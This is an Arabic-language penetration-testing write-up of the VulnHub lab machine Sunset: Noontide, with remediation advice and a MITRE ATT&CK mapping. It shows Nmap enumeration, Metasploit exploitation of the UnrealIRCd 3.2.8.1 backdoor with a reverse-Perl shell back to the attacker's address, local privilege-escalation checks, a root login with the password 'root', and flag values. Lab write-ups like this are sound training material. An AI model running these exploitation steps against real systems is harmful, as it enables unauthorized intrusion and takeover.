
وصف تقييم اختبار اختراق احترافي لجهاز Sunset: Noontide VulnHub، يغطي الاستطلاع، وتعداد الخدمات، واستغلال CVE-2010-2075، وما بعد الاستغلال، ورفع الصلاحيات، واختراق النظام بالكامل.
تقييم احترافي لاختبار الاختراق وشرح تفصيلي لـ CTF لجهاز Sunset: Noontide، وهو جهاز معرّض للثغرات بشكل متعمد من VulnHub.
يوثّق هذا المشروع دورة حياة اختبار الاختراق الكاملة، بما في ذلك الاستطلاع، وتعداد الخدمات، والبحث عن الثغرات، والاستغلال، والوصول الأولي، وما بعد الاستغلال، ورفع الصلاحيات، وإثبات الاختراق، وتقييم المخاطر، وربط MITRE ATT&CK، والمعالجة.
⚠️ إخلاء المسؤولية: تم إجراء هذا التقييم ضد جهاز معرّض للثغرات بشكل متعمد في بيئة مختبرية مصرّح بها. التقنيات والأوامر الموثّقة هنا مخصصة فقط للأنظمة التي تم الحصول على تصريح صريح بشأنها.
| المكوّن | التفاصيل |
|---|---|
| الهدف | Sunset: Noontide |
| المنصة | VulnHub |
| عنوان IP الهدف | 10.106.186.186 |
| اسم المضيف الهدف | noontide |
| نظام تشغيل الهدف | Debian GNU/Linux 10 (Buster) |
| المعمارية | x86_64 |
| منصة المهاجم | Kali Linux |
| عنوان IP المهاجم | 10.106.186.204 |
| نوع التقييم | تقييم مختبري مصرّح به |
| المخاطر الإجمالية | حرجة |
| نتيجة التقييم | اختراق كامل للنظام |
اكتشاف الهدف → تعداد Nmap → تحديد UnrealIRCd 3.2.8.1 → SearchSploit → تحديد CVE-2010-2075 → الاستغلال عبر Metasploit → shell أوامر عن بُعد → shell باسم server → ما بعد الاستغلال على Linux → بيانات اعتماد root ضعيفة → su root → UID 0 / وصول root → ملفات إثبات المستخدم و root
تم إجراء اكتشاف الشبكة الأولي لتحديد الهدف المعرّض للثغرات.
تم تحديد الهدف في النهاية على أنه:
10.106.186.186
أثناء الاستطلاع، تم تحديد 10.106.186.142 على أنه البوابة الافتراضية وليس الهدف المقصود.
وهذا يبرز أهمية تحديد الهدف بشكل صحيح قبل إجراء المزيد من الاختبارات الأمنية، خاصة في شبكة مختبرية جسرية أو مشتركة.
تم إجراء اكتشاف الخدمات والإصدارات عبر Nmap ضد الهدف باستخدام:
nmap -sV 10.106.186.186
كانت الخدمة المكشوفة المهمة التي تم تحديدها أثناء التقييم هي:
6667/tcp open irc UnrealIRCd
ثم تم إجراء فحص أكثر تفصيلاً باستخدام:
nmap -sC -sV -Pn -p 6667 10.106.186.186
تم تحديد الخدمة على أنها:
UnrealIRCd 3.2.8.1
كما أبلغت خدمة IRC عن:
irc.foonet.com
أصبحت خدمة UnrealIRCd المكشوفة سطح الهجوم الأساسي الذي تم التحقيق فيه أثناء التقييم.
تم استخدام SearchSploit للتحقيق في الثغرات الموثّقة علنًا والمرتبطة بإصدار UnrealIRCd المكتشف.
الأمر:
searchsploit UnrealIRCd 3.2.8.1
كانت النتيجة ذات الصلة:
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
تم تحديد الثغرة على أنها:
CVE-2010-2075
تنفيذ أوامر عبر باب خلفي في UnrealIRCd 3.2.8.1
حرجة
تنفيذ أوامر عن بُعد
يتيح الاستغلال الناجح للخدمة المعرّضة للثغرات للمهاجم تنفيذ أوامر عن بُعد على النظام الهدف.
تم استغلال خدمة IRC المعرّضة للثغرات باستخدام إطار عمل Metasploit.
كانت الوحدة المختارة:
exploit/unix/irc/unreal_ircd_3281_backdoor
مثال على الإعداد:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
لم تُنتج محاولات الحمولة الأولية جلسة قابلة للاستخدام.
تم بعد ذلك اختيار حمولة Unix reverse-Perl متوافقة:
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
أبلغ Metasploit أن الهدف يبدو معرّضًا للثغرات وفتح بنجاح جلسة shell أوامر.
تم التحقق من الـ shell الذي تم الحصول عليه باستخدام:
whoami
النتيجة:
server
أكّد ذلك نجاح تنفيذ الأوامر عن بُعد باسم حساب server.
كان دليل العمل الأولي:
/home/server/irc/Unreal3.2
في هذه المرحلة، انتقل التقييم من استغلال الخدمة عن بُعد إلى تعداد ما بعد الاستغلال المحلي.
بعد الحصول على الـ shell، تم إجراء تعداد Linux القياسي لفهم المضيف المخترق وتحديد مسارات رفع الصلاحيات المحتملة.
الأمر:
id
النتيجة:
uid=1000(server) gid=1000(server)
كان الحساب مستخدمًا غير root.
الأمر:
hostname
النتيجة:
noontide
الأمر:
uname -a
النتيجة:
Linux noontide 4.19.0-10-amd64 x86_64
الأمر:
cat /etc/os-release
النتيجة:
Debian GNU/Linux 10 (buster)
أنشأت هذه الأوامر الهوية الحالية، واسم المضيف، وإصدار النواة، ونظام التشغيل، والتكوين العام للنظام.
تم إجراء عدة فحوصات قياسية لرفع الصلاحيات على Linux.
الأمر:
find / -perm -4000 -type f 2>/dev/null
تم تحديد ملفات SUID القياسية مثل passwd و chsh و mount و umount و su و chfn و newgrp و gpasswd.
لم يتم تحديد أي ملف SUID مخصص أو شاذ بشكل واضح كمتجه ناجح لرفع الصلاحيات.
الأمر:
sudo -l
لم يتم تحديد أي مسار مفيد لرفع الصلاحيات عبر sudo من المخرجات المتاحة.
الأوامر:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
كانت المهام المجدولة الملاحظة مهام نظام قياسية بنمط Debian.
لم يتم تحديد أي مهمة cron تابعة لـ root قابلة للكتابة بشكل واضح.
الأمر:
find / -writable -type f 2>/dev/null | head -100
كانت النتائج الأولية في الأساس ملفات pseudo ضمن /proc ولم تكشف عن متجه عملي لرفع الصلاحيات.
الأمر:
getcap -r / 2>/dev/null
لم يتم تحديد أي رفع صلاحيات مفيد قائم على القدرات من المخرجات الناتجة.
استند مسار رفع الصلاحيات الناجح إلى بيانات اعتماد root الضعيفة بشكل متعمد والمكوّنة على الجهاز المعرّض للثغرات.
تم الوصول إلى حساب root باستخدام:
su root
كلمة المرور:
root
ثم تم التحقق من وصول root باستخدام:
id
النتيجة:
uid=0(root) gid=0(root) groups=0(root)
كما تم تأكيد الهوية باستخدام:
whoami
النتيجة:
root
أكّد ذلك السيطرة الإدارية الكاملة على النظام الهدف.
كان ملف الإثبات على مستوى المستخدم موجودًا في:
/home/server/local.txt
الأمر:
cat /home/server/local.txt
النتيجة:
c53c08b5bf2b0801c5d0c24149826a6e
كان ملف الإثبات على مستوى root موجودًا في:
/root/proof.txt
الأمر:
cat /root/proof.txt
النتيجة:
ab28c8ca8da1b9ffc2d702ac54221105
كما أعاد إثبات root:
Thanks for playing! - Felipe Winsnes (@whitecr0wz)
يؤكد استرداد كلا ملفي الإثبات نجاح الاختراق من الوصول الأولي عن بُعد وصولاً إلى السيطرة بمستوى root.
| المعرّف | النتيجة | الخطورة | التأثير |
|---|---|---|---|
| VULN-01 | باب خلفي في UnrealIRCd 3.2.8.1 | 🔴 حرجة | تنفيذ أوامر عن بُعد |
| VULN-02 | بيانات اعتماد root ضعيفة | 🔴 حرجة | اختراق إداري كامل |
الخطورة: حرجة
الخدمة المتأثرة: IRC / TCP 6667
البرمجية المتأثرة: UnrealIRCd 3.2.8.1
CVE: CVE-2010-2075
نوع الهجوم: تنفيذ أوامر عن بُعد
التأثير الملاحظ: الحصول على shell عن بُعد باسم server
كانت خدمة UnrealIRCd المكشوفة تعمل بإصدار معرّض للثغرات مرتبط بثغرة تنفيذ أوامر عبر باب خلفي معروفة.
تم تحديد الثغرة من خلال تعداد الخدمات والبحث في SearchSploit، وتم استغلالها بنجاح باستخدام Metasploit.
يمكن للمهاجم القادر على الوصول إلى خدمة IRC المعرّضة للثغرات تنفيذ أوامر عن بُعد والحصول على وصول غير مصرّح به إلى المضيف.
الخطورة: حرجة
الحساب المتأثر: root
بيانات الاعتماد الملاحظة: root / root
التأثير الملاحظ: وصول إداري بـ UID 0
تم تكوين حساب root ببيانات اعتماد ضعيفة للغاية.
بعد الحصول على shell محلي باسم server، تم الوصول إلى حساب root باستخدام بيانات الاعتماد الضعيفة وتم التحقق منها بـ UID 0.
يمكن للمهاجم الذي يحصل على وصول shell محلي استخدام بيانات اعتماد root الضعيفة للحصول على سيطرة كاملة على نظام التشغيل.
استبدل تثبيت UnrealIRCd المعرّض للثغرات بإصدار موثوق ومدعوم.
تحقق من سلامة البرمجيات ومصدر الحزم قبل النشر.
إذا كانت سلامة البرمجيات أو مصدرها غير مؤكد، فأعد بناء النظام باستخدام وسائط تثبيت موثوقة وحزم تم التحقق منها.
استبدل بيانات الاعتماد الافتراضية والضعيفة ببيانات اعتماد إدارية قوية وفريدة.
لا تستخدم كلمات مرور بسيطة مثل root.
إذا كانت خدمة IRC مطلوبة، فقيّد الوصول باستخدام:
حافظ على عملية موثّقة لإدارة التصحيحات لنظام التشغيل وجميع الخدمات المكشوفة.
سجّل وراجع:
تم اختراق المضيف Sunset: Noontide بنجاح من الوصول الأولي إلى الشبكة وصولاً إلى سيطرة كاملة بمستوى root.
كانت ثغرة الوصول الأولي الأساسية هي الباب الخلفي في UnrealIRCd 3.2.8.1 (CVE-2010-2075).
وفّرت الثغرة تنفيذ أوامر عن بُعد وأدّت إلى shell أولي باسم حساب server.
ثم تم إجراء تعداد ما بعد الاستغلال، بما في ذلك فحوصات SUID و sudo و cron والملفات القابلة للكتابة وقدرات Linux والهوية ونظام التشغيل ونظام الملفات.
لم تحدد هذه الفحوصات مسار رفع الصلاحيات الناجح.
تم تحقيق الوصول الإداري الكامل في النهاية من خلال بيانات اعتماد root الضعيفة على الجهاز.
أكّد الاسترداد الناجح لكل من ملفي الإثبات على مستوى المستخدم ومستوى root الاختراق الكامل للنظام.
حرجة — تم تحقيق اختراق كامل للنظام
يتضمن هذا المشروع تقريرًا احترافيًا مفصلاً لاختبار الاختراق:
Sunset-Noontide-Penetration-Testing-Report.pdf
يحتوي التقرير على:
هيكل المستودع المقترح:
sunset-noontide-pentesting/
├── README.md
├── Sunset-Noontide-Penetration-Testing-Report.pdf
└── evidence/
├── 01-target-discovery.png
├── 02-nmap-enumeration.png
├── 03-searchsploit.png
├── 04-metasploit-exploitation.png
├── 05-initial-shell.png
├── 06-post-exploitation.png
├── 07-privilege-escalation.png
└── 08-root-proof.png
يجب أن تحتوي لقطات الشاشة على معلومات من البيئة المختبرية المصرّح بها فقط.
وفّر هذا التقييم خبرة عملية في:
هذا المستودع مخصص بشكل صارم لـ:
يجب تنفيذ التقنيات الموثّقة في هذا المستودع فقط ضد الأنظمة التي تم الحصول على تصريح صريح بشأنها.
لا تستخدم هذه التقنيات ضد أنظمة الإنتاج أو البنية التحتية العامة أو أنظمة الأطراف الثالثة دون إذن.
Alen Sales K S
الأمن السيبراني | اختبار الاختراق | SOC | أمن الشبكات
GitHub: https://github.com/zales2004
يوضّح Sunset: Noontide سير عمل كاملاً لاختبار الاختراق:
الاستطلاع → التعداد → البحث عن الثغرات → الاستغلال → الوصول الأولي → ما بعد الاستغلال → رفع الصلاحيات → وصول root → جمع الأدلة → تقييم المخاطر → إعداد التقارير الأمنية
نتيجة التقييم: حرجة — تم تحقيق اختراق كامل للنظام
| التقنية | المعرّف | النشاط الملاحظ |
|---|
| Network Service Scanning | T1046 | تعداد Nmap |
| Exploit Public-Facing Application | T1190 | استغلال خدمة UnrealIRCd المكشوفة |
| Command and Scripting Interpreter | T1059 | shell أوامر عن بُعد |
| Valid Accounts | T1078 | استخدام بيانات اعتماد root |
| Account Discovery | T1087 | تعداد الهوية والمستخدمين |
| System Information Discovery | T1082 | uname و /etc/os-release |
| File and Directory Discovery | T1083 | تعداد نظام الملفات |
| Scheduled Task/Job Discovery | T1053 | تعداد Cron |
| Permission Groups Discovery | T1069 | id وتعداد المجموعات |
| المرحلة | الأنشطة |
|---|
| الاستطلاع | اكتشاف الشبكة وتحديد الهدف |
| التعداد | اكتشاف الخدمات/الإصدارات عبر Nmap |
| البحث عن الثغرات | تحديد وحدات SearchSploit و Metasploit |
| الاستغلال | استغلال الباب الخلفي في UnrealIRCd |
| الوصول الأولي | shell أوامر باسم server |
| ما بعد الاستغلال | تعداد الهوية ونظام التشغيل ونظام الملفات والصلاحيات |
| رفع الصلاحيات | فحوصات SUID و sudo و cron والملفات القابلة للكتابة والقدرات |
| جمع الأدلة | ملفات إثبات المستخدم و root |
| إعداد التقارير | النتائج وتحليل المخاطر والمعالجة |
| الهدف | الحالة |
|---|
| تحديد الهدف | ✅ PASS |
| تحديد الخدمة المكشوفة | ✅ PASS |
| تحديد الإصدار المعرّض للثغرات | ✅ PASS |
| تحديد CVE | ✅ PASS |
| تنفيذ أوامر عن بُعد | ✅ PASS |
shell أولي باسم server | ✅ PASS |
| استرداد إثبات المستخدم | ✅ PASS |
| رفع الصلاحيات | ✅ PASS |
| التحقق من وصول root | ✅ PASS |
| استرداد إثبات root | ✅ PASS |